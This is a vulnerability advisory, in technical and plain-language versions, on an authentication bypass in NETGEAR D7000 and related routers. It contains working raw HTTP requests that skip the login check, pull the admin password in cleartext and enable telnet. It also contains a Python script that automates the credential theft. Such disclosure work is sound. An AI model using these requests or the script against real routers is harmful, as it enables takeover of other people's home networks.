SSD Advisory – NETGEAR D7000 Authentication Bypass
The NETGEAR D7000 web server's authentication check can be bypassed by including a specific string in the request line, allowing unauthenticated attackers to access protected files. This lets them retrieve the admin password in cleartext and then enable telnet for remote code execution.
Find out how a vulnerability in NETGEAR D7000 device allows remote unauthenticated users to reveal the ‘admin’ password used to login to the admin web interface of the product. NOTE: The vendor states that multiple other devices are also vulnerable.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
NETGEAR D7000 is a home router with an administrative web interface served by mini_httpd. The interface is normally protected by HTTP authentication: a request for a protected resource is answered with a WWW-Authenticate challenge, and the browser then sends the admin credentials. The device also exposes a setup.cgi handler, which the report uses to back up the configuration and to fetch a page that discloses the password.
The vulnerability described here lets a remote, unauthenticated attacker make the device reveal the cleartext form of the admin account by requesting the setup.cgi file. The vendor states that multiple other devices are also vulnerable, and the advisory lists the affected models and the firmware versions that fix them.
Setup
The analysis was done against the latest firmware at the time, by decompiling the mini_httpd binary in Ghidra. The requests in the report target [redacted]. No account is needed: the whole point is that authentication is bypassed. The only state the attacker needs is a valid sessionid cookie, which can be obtained by requesting any unauthenticated page.
Affected models and the firmware versions that fix them:
| Model | Fixed in firmware |
|---|---|
| AC2100 | [redacted] |
| AC2400 | [redacted] |
| AC2600 | [redacted] |
| D7000 | [redacted] |
| R6220 | [redacted] |
| R6230 | [redacted] |
| R6260 | [redacted] |
| R6330 | [redacted] |
| R6350 | [redacted] |
| R6700v2 | [redacted] |
| R6800 | [redacted] |
| R6850 | [redacted] |
| R6900v2 | [redacted] |
| R7200 | [redacted] |
| R7350 | [redacted] |
| R7400 | [redacted] |
| R7450 | [redacted] |
The vendor published an advisory at https://kb.netgear.com/000063961/Security-Advisory-for-Authentication-Bypass-Vulnerability-on-the-D7000-and-Some-Routers-PSV-2021-0133. The report itself carries no CVE number, only CVE-TBA, and credits an independent security researcher who reported the issue to the SSD Secure Disclosure program.
Finding it
Decompiling mini_httpd in Ghidra showed the following logic around line 530:
LAB_000104f8:
DAT_0001d4ec_needs_auth = 0;
DAT_0001f24c = 0;
}
pcVar4 = (char *)FUN_0000b8f0(1);
iVar3 = strcasecmp(pcVar5,pcVar4);
if ((iVar3 == 0) &&
(pcVar6 = strstr(DAT_0001f330,"todo=PNPX_GetShareFolderList"), pcVar6 != (char *)0x0)) {
DAT_0001d4ec_needs_auth = 0;
}
The code checks whether the request line contains todo=PNPX_GetShareFolderList. If it does, it sets the variable at DAT_0001d4ec, which the researcher renamed _needs_auth, to 0. That variable is what the server consults to decide whether authentication is required for the requested resource. When it is 0, the resource is served without asking for a username and password.
The check uses strstr, so the string only has to appear somewhere in the original request line. Nothing verifies that the request line contains nothing else, and nothing ties the magic string to the resource being requested. That is what makes the bypass general: any file on the web server can be requested without authentication, including the configuration file and pages that disclose the administrative password.
Exploitation
Step 1: download the configuration file
The first request asks for the configuration backup through setup.cgi. The magic string is placed in the HTTP version field, so the request line still parses as a request for /setup.cgi while containing todo=PNPX_GetShareFolderList:
GET /setup.cgi?next_file=NETGEAR_D7000.cfg&todo=backup_config HTTPx=todo=PNPX_GetShareFolderList/1.1
Host: [redacted]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[redacted]/BAK_backup.htm&todo=cfg_init
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=[redacted]
Connection: close
The query string asks setup.cgi to back up the configuration into NETGEAR_D7000.cfg. Because the request line contains the magic string, the authentication check is skipped and the server answers with a 302 redirect to the configuration file:
GET /NETGEAR_D7000.cfg HTTPx=todo=PNPX_GetShareFolderList/1.1
Host: [redacted]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[redacted]/BAK_backup.htm&todo=cfg_init
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=[redacted]
Connection: close
The configuration file contains a hashed password. That is interesting, but not directly usable. If the response is a 403, the report notes that the sessionid cookie must be up to date; requesting any unauthenticated page returns a valid one.
Step 2: read the cleartext password from a page
The same bypass can fetch a web page whose source discloses the full current password. The page is BRS_swisscom_success.html, requested through setup.cgi with the magic string in the x parameter:
=== Request
GET /setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: */*
Referer: http://[redacted]/htpwd_recovery.cgi?id=8f63a688a3791c82
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
=== Response
<DIV class=left_div id=passpharse><span languageCode = "10719">New Admin password</span>: </DIV>
<DIV class=right_div>currentpassword</DIV>
<DIV style="CLEAR: both"></DIV>
The response embeds the current administrative password in the right_div element, next to the label New Admin password. The Referer points at htpwd_recovery.cgi.
Step 3: log in and enable telnet
With the recovered credentials, the attacker can authenticate to the administrative interface and use the debug action to enable telnet, which gives remote code execution on the device:
GET /setup.cgi?todo=debug HTTP/1.1
Host: [redacted]
Authorization: Basic <CREDS HERE>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=[redacted]
Connection: close
The Authorization: Basic header carries the recovered admin credentials, and todo=debug is the action that enables telnet.
Demo
The demonstration shows the source code of the page above, where the current password is disclosed, followed by access to the admin page and enabling telnet to get RCE.

Automating it
The report includes a Python script that chains the steps. It first fingerprints the device, then reads the username and password from the same page, logs in and prints the firmware version:
#!/usr/bin/python3
import sys
import warnings
import contextlib
import requests
import re
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
hostname = "x.y.z.a"
port = 8080
protocol = 'https'
if port == 80:
protocol = 'http'
url = f"{protocol}://{hostname}:{port}/"
print("Connecting to: {} and port: {}".format(hostname, port))
res = requests.get( url=url, verify=False )
# print("res: {}".format(res.headers))
D7000 = False
if 'WWW-Authenticate' in res.headers:
if 'D7000' in res.headers['WWW-Authenticate']:
D7000 = True
if not D7000:
print("Unable to find D700 signature in the response")
sys.exit(0)
print("Remote device appears to be an D7000")
res = requests.get( url=f"{protocol}://{hostname}:{port}/setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList", verify=False )
# print("res: {}".format(res.text))
res_text = res.text
matches = re.findall(
pattern=r"<DIV class=left_div id=passpharse><span languageCode = \"[0-9]+\">Admin user Name</span>: </DIV>\s*<DIV class=right_div>([^<]+)</DIV>",
string=res_text,
)
username = ''
if matches:
username = matches[0]
matches = re.findall(
pattern=r"<DIV class=left_div id=passpharse><span languageCode = \"[0-9]+\">New Admin password</span>: </DIV>\s*<DIV class=right_div>([^<]+)</DIV>",
string=res_text,
)
passphrase = ''
if matches:
passphrase = matches[0]
if passphrase == '' or username == '':
print("Unable to find the username/passphrase")
sys.exit(0)
print(f"Found and using the following credentials: '{username}' and '{passphrase}'")
res = requests.get( url=f"{protocol}://{hostname}:{port}/top.html", verify=False, auth=( username, passphrase) )
res_text = res.text
# print(res_text)
matches = re.findall(
pattern=r"<div id=\"firm_version\"><span languageCode = \"[0-9]+\">Firmware Version</span><br />([^\n]+)",
string=res_text,)
if matches:
print(f"Remote server firmware version: {matches[0]}")
else:
print("Failed to obtain firmware version (maybe we couldn't logon?)")
The script requests the root page and looks for D7000 in the WWW-Authenticate response header as a fingerprint. It then fetches BRS_swisscom_success.html with the magic string, extracts the Admin user Name and New Admin password values from the right_div elements, and uses them as basic auth credentials against top.html, where it reads the firmware version from firm_version.
Root cause
The authentication decision in mini_httpd is made by searching the request line for a fixed string with strstr. When the string is found, _needs_auth is set to 0 and the resource is served without credentials. There is no check that the request line contains nothing else, and no check that the magic string belongs to the resource being requested. Because the string can be placed anywhere in the request line, including the HTTP version field or an unused query parameter, the attacker controls the authentication decision for any path on the server.
The report does not describe any other defence that would have caught this. The bypass is in the server's own authorisation logic.
Impact
A remote, unauthenticated attacker can read any file served by the device's web server. In practice the report shows two consequences: the configuration backup, which contains a hashed administrative password, and a page that discloses the current administrative password in cleartext. With the cleartext password the attacker logs in as admin and enables telnet, which gives remote code execution on the device. The vendor states that multiple other devices besides the D7000 are also vulnerable.
The report does not state whether the vulnerable interface is reachable from the WAN side; the requests shown target the device's LAN address.
Fix
NETGEAR fixed the issue in firmware updates: [redacted] for the D7000, [redacted] for the AC2100, AC2400, AC2600, R6700v2, R6800, R6900v2, R7200, R7350, R7400 and R7450, [redacted] for the R6220 and R6230, and [redacted] for the R6260, R6330, R6350 and R6850.
Variants to test
- Put the magic string in other parts of the request line, such as the HTTP version, an unused query parameter or a path segment, and request a protected resource. A positive result is a 200 or 302 with the protected content instead of a
WWW-Authenticatechallenge. - Request other sensitive files through
setup.cgi, for example other backup names or other pages under the web root. A positive result is any file content returned without credentials. - Try the same pattern on the other models listed in the advisory before patching. A positive result is the same bypass on a device whose firmware predates the fixed version for that model.
- Check whether the
sessionidcookie is required for the bypass. A positive result is the bypass working with a freshly obtained cookie from any unauthenticated page, as the report describes for the 403 case.
What happened, in plain words
A home router made by NETGEAR, the D7000, runs a small web server so you can log in to it from a browser and change its settings. That web server is called mini_httpd. Normally, before it shows you any protected page, it asks for a username and password. This is the same idea as a door that stays locked until you show the right key.
The problem described here is that the server can be tricked into skipping that lock. If the request line contains a particular piece of text, the server decides that no password is needed and hands over whatever was asked for. An attacker who can reach the router can therefore read files they should never see, including a page that shows the administrator password in plain text. With that password they can log in as the administrator and switch on a remote access service called telnet, which lets them run commands on the device.
This kind of flaw is called an authentication bypass: the system has a login check, but there is a way around it. The vendor says several other NETGEAR models share the same problem.
The product and the pieces involved
A router is the box in your home that connects your devices to the internet and to each other. The D7000 is one such router. It has a small website built into it, the administrative web interface, where you log in to configure Wi-Fi, passwords and other settings.
That website is served by a program called mini_httpd, a small web server. A web server listens for requests from browsers and sends back pages or files. When a page is protected, the server replies with a challenge asking for credentials; the browser then resends the request with the username and password attached. This is called HTTP authentication.
The device also has a handler called setup.cgi. A CGI script is a program the web server runs when a particular URL is requested; it can perform actions such as backing up the configuration or recovering a password. Think of it as a service counter: you ask for something by name and the counter does the work.
The vulnerability lets a remote attacker who has not logged in make the device reveal the cleartext form of the admin account by requesting the setup.cgi file. Cleartext means the password is shown as readable text, not scrambled into a hash.
Which devices are affected
The advisory lists the models and the firmware versions that fix the problem. Firmware is the software built into the device; updating it is like installing a new version of an app on your phone.
| Model | Fixed in firmware |
|---|---|
| AC2100 | [redacted] |
| AC2400 | [redacted] |
| AC2600 | [redacted] |
| D7000 | [redacted] |
| R6220 | [redacted] |
| R6230 | [redacted] |
| R6260 | [redacted] |
| R6330 | [redacted] |
| R6350 | [redacted] |
| R6700v2 | [redacted] |
| R6800 | [redacted] |
| R6850 | [redacted] |
| R6900v2 | [redacted] |
| R7200 | [redacted] |
| R7350 | [redacted] |
| R7400 | [redacted] |
| R7450 | [redacted] |
The vendor published an advisory at https://kb.netgear.com/000063961/Security-Advisory-for-Authentication-Bypass-Vulnerability-on-the-D7000-and-Some-Routers-PSV-2021-0133. The report carries no CVE number, only CVE-TBA. A CVE is a public identifier given to a known security flaw so people can refer to it unambiguously. The issue was reported by an independent security researcher to the SSD Secure Disclosure program.
How the flaw was found
The researcher took the mini_httpd program from the latest firmware and decompiled it in a tool called Ghidra. Ghidra is a free reverse-engineering tool.
Around line 530 the decompiled code showed this logic:
LAB_000104f8:
DAT_0001d4ec_needs_auth = 0;
DAT_0001f24c = 0;
}
pcVar4 = (char *)FUN_0000b8f0(1);
iVar3 = strcasecmp(pcVar5,pcVar4);
if ((iVar3 == 0) &&
(pcVar6 = strstr(DAT_0001f330,"todo=PNPX_GetShareFolderList"), pcVar6 != (char *)0x0)) {
DAT_0001d4ec_needs_auth = 0;
}
Line by line, in plain words:
LAB_000104f8:is just a label, a name for a spot in the code so it can be jumped to.DAT_0001d4ec_needs_auth = 0;sets a variable to 0. The researcher renamed this variable to_needs_authbecause it controls whether a password is needed. Setting it to 0 means "no password needed".DAT_0001f24c = 0;sets another variable to 0.pcVar4 = (char *)FUN_0000b8f0(1);calls a helper function and stores the result in a variable. The report does not explain what that helper does.iVar3 = strcasecmp(pcVar5,pcVar4);compares two strings without caring about upper or lower case.strcasecmpis a standard C function for that.if ((iVar3 == 0) && ...means "if the comparison matched, and also the next condition is true".strstr(DAT_0001f330,"todo=PNPX_GetShareFolderList")searches for the texttodo=PNPX_GetShareFolderListinside another string.strstris a standard C function that finds one piece of text inside another. If it finds it, it returns a pointer; if not, it returns nothing (0x0).DAT_0001d4ec_needs_auth = 0;inside theifsets the "no password needed" flag again when the text is found.
The key point is that the server looks for a fixed piece of text in the request line. If it is there, the flag that says "authentication required" is switched off. The server does not check that the request line contains nothing else, and it does not check that the text belongs to the resource being requested. That is what makes the bypass general: any file on the web server can be requested without authentication, including the configuration file and pages that reveal the administrative password.
Exploitation
Step 1: download the configuration file
The first request asks setup.cgi to make a backup of the configuration. The magic text is placed in the HTTP version field, so the request line still looks like a request for /setup.cgi while containing todo=PNPX_GetShareFolderList:
GET /setup.cgi?next_file=NETGEAR_D7000.cfg&todo=backup_config HTTPx=todo=PNPX_GetShareFolderList/1.1
Host: [redacted]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[redacted]/BAK_backup.htm&todo=cfg_init
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=[redacted]
Connection: close
What each part means:
GETis the method, the verb that says "give me this"./setup.cgi?next_file=NETGEAR_D7000.cfg&todo=backup_configis the path plus a query string. The query string is the part after the?, made of name and value pairs separated by&. Here it askssetup.cgito back up the configuration into a file calledNETGEAR_D7000.cfg.HTTPx=todo=PNPX_GetShareFolderList/1.1is where the HTTP version normally goes. A normal request would sayHTTP/1.1. By writingHTTPx=todo=PNPX_GetShareFolderList/1.1, the attacker smuggles the magic text into the request line while the server still treats the request as a normal one.Host: [redacted]tells the server which address was requested.User-Agent,Accept,Accept-Encoding,Accept-Languageare headers the browser sends to describe itself and what it can accept. A header is a line of extra information attached to a request or response.Referersays which page the request came from. Here it points atBAK_backup.htm, the backup page.Cookie: sessionid=[redacted]carries a cookie, a small piece of data the server gave the browser earlier so it can recognise the same visitor. Thesessionidis the session identifier.Connection: closeasks the server to close the connection after answering.
Because the request line contains the magic text, the authentication check is skipped and the server answers with a 302 redirect to the configuration file. A 302 is an HTTP status code meaning "the thing you want is somewhere else, go there". The browser follows it automatically:
GET /NETGEAR_D7000.cfg HTTPx=todo=PNPX_GetShareFolderList/1.1
Host: [redacted]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[redacted]/BAK_backup.htm&todo=cfg_init
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=[redacted]
Connection: close
This second request asks for the backup file itself, again with the magic text in the version field, so the file is served without a password. The configuration file contains a hashed password. A hash is the result of scrambling a password with a one-way function: you can check a guess against it, but you cannot read the original back out easily. That is interesting, but not directly usable.
If the response is a 403, the report notes that the sessionid cookie must be up to date. A 403 means "forbidden". Requesting any unauthenticated page returns a valid cookie.
Step 2: read the cleartext password from a page
The same bypass can fetch a web page whose source discloses the full current password. The page is BRS_swisscom_success.html, requested through setup.cgi with the magic text in the x parameter:
=== Request
GET /setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: */*
Referer: http://[redacted]/htpwd_recovery.cgi?id=8f63a688a3791c82
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
=== Response
<DIV class=left_div id=passpharse><span languageCode = "10719">New Admin password</span>: </DIV>
<DIV class=right_div>currentpassword</DIV>
<DIV style="CLEAR: both"></DIV>
Here the magic text sits in an unused query parameter called x, and the HTTP version is the normal HTTP/1.1. The server still finds the text in the request line and skips the password check.
The response is HTML, the language web pages are written in. A DIV is a box or section on a page. The first line shows a label, New Admin password, inside a box with the id passpharse. The second line puts the actual password, currentpassword, inside a box with the class right_div. The third line just clears the layout. The Referer points at htpwd_recovery.cgi.
Step 3: log in and enable telnet
With the recovered credentials, the attacker can authenticate to the administrative interface and use the debug action to enable telnet. Telnet is an old protocol for opening a command line on a remote machine; once it is on, the attacker can run commands on the device, which is called remote code execution (RCE).
GET /setup.cgi?todo=debug HTTP/1.1
Host: [redacted]
Authorization: Basic <CREDS HERE>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sessionid=[redacted]
Connection: close
The Authorization: Basic header carries the recovered admin credentials. Basic authentication sends the username and password encoded in a simple, reversible way, not encrypted. The todo=debug query asks the device to run its debug action, which is what enables telnet.
Demo
The demonstration shows the source code of the page above, where the current password is disclosed, followed by access to the admin page and enabling telnet to get RCE.

Automating it
The report includes a Python script that chains the steps. Python is a programming language often used for small tools. The script first fingerprints the device, then reads the username and password from the same page, logs in and prints the firmware version:
#!/usr/bin/python3
import sys
import warnings
import contextlib
import requests
import re
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
hostname = "x.y.z.a"
port = 8080
protocol = 'https'
if port == 80:
protocol = 'http'
url = f"{protocol}://{hostname}:{port}/"
print("Connecting to: {} and port: {}".format(hostname, port))
res = requests.get( url=url, verify=False )
# print("res: {}".format(res.headers))
D7000 = False
if 'WWW-Authenticate' in res.headers:
if 'D7000' in res.headers['WWW-Authenticate']:
D7000 = True
if not D7000:
print("Unable to find D700 signature in the response")
sys.exit(0)
print("Remote device appears to be an D7000")
res = requests.get( url=f"{protocol}://{hostname}:{port}/setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList", verify=False )
# print("res: {}".format(res.text))
res_text = res.text
matches = re.findall(
pattern=r"<DIV class=left_div id=passpharse><span languageCode = \"[0-9]+\">Admin user Name</span>: </DIV>\s*<DIV class=right_div>([^<]+)</DIV>",
string=res_text,
)
username = ''
if matches:
username = matches[0]
matches = re.findall(
pattern=r"<DIV class=left_div id=passpharse><span languageCode = \"[0-9]+\">New Admin password</span>: </DIV>\s*<DIV class=right_div>([^<]+)</DIV>",
string=res_text,
)
passphrase = ''
if matches:
passphrase = matches[0]
if passphrase == '' or username == '':
print("Unable to find the username/passphrase")
sys.exit(0)
print(f"Found and using the following credentials: '{username}' and '{passphrase}'")
res = requests.get( url=f"{protocol}://{hostname}:{port}/top.html", verify=False, auth=( username, passphrase) )
res_text = res.text
# print(res_text)
matches = re.findall(
pattern=r"<div id=\"firm_version\"><span languageCode = \"[0-9]+\">Firmware Version</span><br />([^\n]+)",
string=res_text,)
if matches:
print(f"Remote server firmware version: {matches[0]}")
else:
print("Failed to obtain firmware version (maybe we couldn't logon?)")
What the script does, step by step:
importlines load helper libraries.requestssends web requests,reworks with patterns in text,syshandles exiting, and theurllib3import lets the script silence a warning about insecure HTTPS.hostname = "x.y.z.a"andport = 8080are placeholders for the device's address and port. A port is a numbered door on a machine; web servers usually use 80 for HTTP and 443 for HTTPS.protocol = 'https'picks HTTPS, the encrypted version of HTTP. If the port is 80, it switches to plainhttp.url = f"{protocol}://{hostname}:{port}/"builds the address of the root page.requests.get(url=url, verify=False)fetches the root page.verify=Falsetells the library not to check the server's certificate, which is common when testing devices with self-signed certificates.- The script looks for
WWW-Authenticatein the response headers. That header is the server's challenge asking for a password. If the header containsD7000, the script decides the device is a D7000. This is a fingerprint, a way to recognise a product from its behaviour. - If the fingerprint is missing, the script prints a message and exits.
- It then requests
setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList, the same bypass request as in step 2. re.findallsearches the returned HTML for the pattern that matches theAdmin user Namevalue and theNew Admin passwordvalue. A regular expression is a pattern language for finding text. The brackets([^<]+)capture the text between the tags.- If either value is missing, the script exits. Otherwise it prints the credentials it found.
- It requests
top.htmlwith those credentials usingauth=(username, passphrase), which sends them as basic authentication. - Finally it searches the page for the
firm_versionbox and prints the firmware version, or says it could not log in.
Root cause
The authentication decision in mini_httpd is made by searching the request line for a fixed string with strstr. When the string is found, _needs_auth is set to 0 and the resource is served without credentials. There is no check that the request line contains nothing else, and no check that the magic string belongs to the resource being requested. Because the string can be placed anywhere in the request line, including the HTTP version field or an unused query parameter, the attacker controls the authentication decision for any path on the server.
The report does not describe any other defence that would have caught this. The bypass is in the server's own authorisation logic.
Impact
A remote, unauthenticated attacker can read any file served by the device's web server. In practice the report shows two consequences: the configuration backup, which contains a hashed administrative password, and a page that discloses the current administrative password in cleartext. With the cleartext password the attacker logs in as admin and enables telnet, which gives remote code execution on the device. The vendor states that multiple other devices besides the D7000 are also vulnerable.
LAN is the local network inside your home; WAN is the wider network outside it.
Fix
NETGEAR fixed the issue in firmware updates: [redacted] for the D7000, [redacted] for the AC2100, AC2400, AC2600, R6700v2, R6800, R6900v2, R7200, R7350, R7400 and R7450, [redacted] for the R6220 and R6230, and [redacted] for the R6260, R6330, R6350 and R6850.
Variants to test
- Put the magic string in other parts of the request line, such as the HTTP version, an unused query parameter or a path segment, and request a protected resource. A positive result is a 200 or 302 with the protected content instead of a
WWW-Authenticatechallenge. A 200 means "OK, here is the content". - Request other sensitive files through
setup.cgi, for example other backup names or other pages under the web root. A positive result is any file content returned without credentials. - Try the same pattern on the other models listed in the advisory before patching. A positive result is the same bypass on a device whose firmware predates the fixed version for that model.
- Check whether the
sessionidcookie is required for the bypass. A positive result is the bypass working with a freshly obtained cookie from any unauthenticated page, as the report describes for the 403 case.
Glossary
- Authentication: the process of proving who you are, usually with a username and password.
- Authentication bypass: a flaw that lets someone get past a login check without valid credentials.
- Authorisation: deciding what an authenticated user is allowed to do.
- Basic authentication: a simple HTTP login method that sends the username and password encoded, not encrypted.
- CGI: a program the web server runs when a particular URL is requested.
- Cleartext: readable text, not scrambled or hashed.
- Cookie: a small piece of data a server gives the browser so it can recognise the same visitor later.
- CVE: a public identifier for a known security flaw.
- Decompiling: turning compiled machine code back into something closer to source code.
- DIV: an HTML element used as a box or section on a page.
- Fingerprint: recognising a product from clues in its behaviour or responses.
- Firmware: the software built into a device.
- 403: HTTP status meaning "forbidden".
- 302: HTTP status meaning "the resource is somewhere else, go there".
- 200: HTTP status meaning "OK, here is the content".
- Hash: the scrambled result of a one-way function applied to a password; you can check guesses against it but cannot easily reverse it.
- Header: a line of extra information attached to a request or response.
- HTML: the language web pages are written in.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- HTTPS: HTTP with encryption.
- LAN: the local network inside a home or office.
- mini_httpd: the small web server program running on the device.
- Port: a numbered door on a machine that a service listens on.
- Query string: the part of a URL after the
?, made of name and value pairs. - RCE (remote code execution): running commands on a remote machine.
- Regular expression: a pattern language for finding text.
- Router: the device that connects your home devices to the internet and to each other.
- Session ID: a value that identifies a visitor's session.
- strstr: a C function that finds one piece of text inside another.
- strcasecmp: a C function that compares two strings ignoring case.
- Telnet: an old protocol for opening a command line on a remote machine.
- WAN: the wider network outside your home.
- Web server: a program that listens for requests from browsers and sends back pages or files.
- WWW-Authenticate: the response header a server uses to ask for credentials.